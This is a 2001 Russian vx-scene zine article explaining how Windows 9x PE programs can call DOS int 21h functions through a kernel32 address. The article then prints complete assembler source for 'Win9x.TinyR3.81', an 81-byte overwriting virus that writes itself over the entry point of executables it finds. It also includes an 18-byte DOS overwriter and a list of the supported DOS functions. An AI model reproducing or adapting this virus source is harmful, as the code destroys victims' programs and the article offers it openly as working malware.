_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ Вызов int 21 из PE [2001]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by smart [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
Вызов int 21 из PE EXE.
~~~~~~~~~~~~~~~~~~~~~~~
DOS не умер ! Из PE EXE можно ползоваться досовским int 21, или, точнее,
его имитацией.В kernel32.dll есть сервис для работы с досовскими функциями,
расположенный по адресу 0bff712b9h К сожалению, он поддерживает не все функ-
ции, но самые необходимые (то есть для работы с файлами) имеются. Полный
список всех поддерживаемых функций - в конце статьи.
Вызывать этот int 21 можно несколькими способами:
1) Сделав отдельную процедуру:
call int21
...
int21: push esi
mov esi,0bff712b9h
call esi
pop esi
ret
2) Через макрос (менее предпочтительно, т.к. неэкономно, но такой способ
встречается довольно часто):
int21 macro
push esi
mov esi,0bff712b9h
call esi
pop esi
endm
3) Если есть неиспользуемый регистр, (например edi):
mov edi,0bff712b9h
...
mov ah,3eh
call edi ; int 21h/close file
Этот способ позволяет сэкономить место, т.к. инструкция call edi занимает
всего два байта.
В качестве примера будет моя попытка написания самого короткого виря под
ring3. Этот вирус представляет собой оверврайтер длиной в 81 байт со следу-
ющими ограничениями:
■ в буфере по адресу edx должно быть какое-нибудь имя exeшника
■ имя этого exeшника должно начинаться с 'C:'
В этом вирусе использовались некоторые идеи из вируса w95.espore by henky,
в частности поиск имён файлов в кеше.
────┤ cut here ├────────────────────────────────────────────────────────────
; Name: Win9x.TinyR3.81
; Autor: smart / Misdirected_Youth_All-Start
; Stuff used: source of W95.Espore.140 by Henky/29A
; Matt Pietrek "Unautorised windows"
; Compile: tasm32 /M /ML /Z kernel32.asm
; tlink32 /Tpe /aa /c /x /r kernel32,,, import32
.586p
.model flat,stdcall
TRUE = 1
FALSE = 0
DEBUG = TRUE
Extrn MessageBoxA : proc
dataseg
box_name db 'Virus',0
codeseg
════════════════════════╦═════════╦══════════════════════════════════╗
start:mov esi,0bff712b9h ;║ 5 байт ║ адрес кернеловского int 21 ║
════════════════════════╬═════════╬══════════════════════════════════╣
mov edi,0c1000000h ;║ 5 байт ║ этот адрес доступен для записи - ║
;║ ║ используем его как буфер ║
════════════════════════╬═════════╬══════════════════════════════════╣
┌──── push eax ;║ 1 байт ║ eax = entrypoint offset ║
│ ════════════════════════╬═════════╬══════════════════════════════════╣
│ a1: inc edx ;║ 1 байт ║ предполагаем, что в буфере по ║
│ ════════════════════════╬═════════╣; по адресу edx содержатся имена ║
│ cmp word ptr [edx],':C';║ 5 байт ║ файлов. Если их там не окажется, ║
│ ════════════════════════╬═════════╣;то получаем зависание. Здесь мы ║
│ je a2 ;║ 2 байта ║ избавляемся от инструкции ║
│ ════════════════════════╬═════════╣;mov ecx,чтото_там , т.к. в ecx ║
│ loop a1 ;║ 2 байта ║ уже есть необходимое значение. ║
│ ════════════════════════╩═════════╩═════════╦════════════════════════╣
│a2: IF DEBUG ║;выводим имя заражаемого║
│ pushad ║;файла ║
│ call MessageBoxA,0,edx,offset box_name,0 ║ ║
│ popad ║ ║
│ ENDIF ║ ║
│ ════════════════════════╦═════════╦═════════╩════════════════════════╣
│ mov ax,3d02h ;║ 4 байта ║ открываем на запись найденный ║
│ ════════════════════════╬═════════╣; файл и получаем его хендл ║
│ call esi ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╣ ║
│ jnc a3 ;║ 2 байта ║; т.к. в кэше может оказаться имя ║
│ ════════════════════════╬═════════╣; файла, запись в который не воз- ║
│ pop eax ;║ 1 байт ║; можна (обычным способом), то ║
│ ════════════════════════╬═════════╣; придётся вставить проверку ║
│ ret ;║ 1 байт ║; ║
│ ════════════════════════╬═════════╣ ║
│a3: xchg ebx,eax ;║ 1 байт ║ ║
│ ════════════════════════╬═════════╬══════════════════════════════════╣
│ mov ax,3f00h ;║ 4 байта ║ ║
│ ════════════════════════╬═════════╣; считываем MZ-header ║
│ ┌── push eax ;║ 1 байт ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ push 42h ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ pop ecx ;║ 1 байт ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ mov edx,edi ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ call esi ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╬══════════════════════════════════╣
│ │ mov edx,[edi+3ch] ;║ 3 байта ║; устанавливаем указатель на ║
│ │ ════════════════════════╬═════════╣; pe header ║
│ │ xchg ah,al ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ xor ecx,ecx ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╣ ║
│ │ call esi ;║ 2 байта ║ ║
│ │ ════════════════════════╬═════════╬══════════════════════════════════╣
│ └── pop eax ;║ 1 байт ║ ║
│ ════════════════════════╬═════════╣; считываем pe header ║
│ mov edx,edi ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╣ ║
│ push 42h ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╣ ║
│ pop ecx ;║ 1 байт ║ ║
│ ════════════════════════╬═════════╣ ║
│ call esi ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╬══════════════════════════════════╣
│ mov edx,[edi + 28h];║ 3 байта ║ ║
│ ════════════════════════╬═════════╣; установим указатель на точку ║
│ xchg ah,al ;║ 2 байта ║ входа программы ║
│ ════════════════════════╬═════════╣ ║
│ xor ecx,ecx ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╣ ║
│ call esi ;║ 2 байта ║ ║
│ ════════════════════════╬═════════╬══════════════════════════════════╣
│ mov ax,4000h ;║ 4 байта ║ ║
│ ════════════════════════╬═════════╣; записываем вирус поверх кода ║
└─────pop edx ;║ 1 байт ║ программы ║
════════════════════════╬═════════╣ ║
push eov - start ;║ 2 байта ║ ║
════════════════════════╬═════════╣ ║
pop ecx ;║ 1 байт ║ ║
════════════════════════╬═════════╣ ║
call esi ;║ 2 байта ║ ║
════════════════════════╬═════════╬══════════════════════════════════╣
ret ;║ 1 байт ║; выходим из программы ║
════════════════════════╩═════════╩══════════════════════════════════╝
; всего: 81 байт
eov:
end start
────┤ cut here ├────────────────────────────────────────────────────────────
Под дос нечто похожее занимало 18 байт, обрабатывался файл, указанный в
командной строке. Вот, кстати, эта зверюга (автор неизвестен):
mov ah,1ah ; 2
mov dx,si ; 2
int 21h ; 2
mov ah,0fh ; 2
mov dx,5ch ; 3
int 21h ; 2
mov ah,15 ; 2
int 21h ; 2
ret ; 1
Список функций дос, поддерживаемых сервисом Int21h_Dispatch (взято из Питрека)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
┌────────────────────┬─────────────────────────────────┐
│DOS subfunction │ Purpose │
├────────────────────┼─────────────────────────────────┤
│ 0e00 │ Set default drive │
│ 1900 │ Get current drive │
│ 2a00 │ Get system date │
│ 2b00 │ Set system date │
│ 2c00 │ Get system time │
│ 2d00 │ Set system time │
│ 3600 │ Get disk free space │
│ 3d00 │ Open file - read only │
│ 3d02 │ Open file read/write │
│ 3e00 │ Close file │
│ 3f00 │ Read file │
│ 4000 │ Write file │
│ 4200 │ Set current file position │
│ │ (relative to start of file) │
│ 4201 │ Set current file position │
│ │ (relative to current position)│
│ 4202 │ Set current file position │
│ │ (relative to end of file) │
│ 4400 │ IOCTL - get device information│
│ 4401 │ IOCTL - set device information│
│ 4408 │ IOCTL - check if block device │
│ │ removable │
│ 4409 │ IOCTL - check if block device │
│ │ remote │
│ 4400 │ IOCTL - generic block device │
│ │ request │
│ 4b00 │ Exec program │
│ 4d00 │ Get return code │
│ 5000 │ Get current PSP │
│ 5700 │ Get file date/time │
│ 5701 │ Set file date/time │
│ 5704 │ Set extended file attributes │
│ 5705 │ ??? Unknown │
│ 5706 │ ??? Unknown │
│ 5707 │ ??? Unknown │
│ 5900 │ Get extended error info │
│ 5c00 │ Lock file region │
│ 5c01 │ Unlock file region │
│ 5e00 │ Network functions │
│ 5f32 │ ??? Unknown │
│ 5f33 │ ??? Unknown │
│ 5f34 │ ??? Unknown │
│ 5f35 │ ??? Unknown │
│ 5f36 │ ??? Unknown │
│ 5f37 │ ??? Unknown │
│ 5f38 │ ??? Unknown │
│ 5f4b │ ??? Unknown │
│ 5f4c │ ??? Unknown │
│ 5f4d │ ??? Unknown │
│ 5f4f │ ??? Unknown │
│ 5f52 │ ??? Unknown │
│ 6800 │ Commit file │
│ 7139 │ LFN create directory │
│ 713a │ LFN remove directory │
│ 713b │ LFN change directory │
│ 7141 │ LFN delete file │
│ 7143 │ LFN get/set file attributes │
│ 7147 │ LFN get current directory │
│ 714e │ LFN find first file │
│ 714f │ LFN find next file │
│ 7156 │ LFN rename file │
│ 7160 │ LFN get canonical filename │
│ 716c │ LFN extended open/create │
│ 71a0 │ LFN get volume information │
│ 71a1 │ LFN find close │
│ 71a3 │ ??? Unknown │
│ 71a4 │ ??? Unknown │
│ 71a5 │ ??? Unknown │
│ 71a6 │ LFN Get file info by handle │
│ 71a7 │ LFN File time to dos time │
│ b400 │ ??? Unknown │
│ ea00 │ ??? Unknown │
└────────────────────┴─────────────────────────────────┘
(x) 2001 smart, misdirected_youth_all-star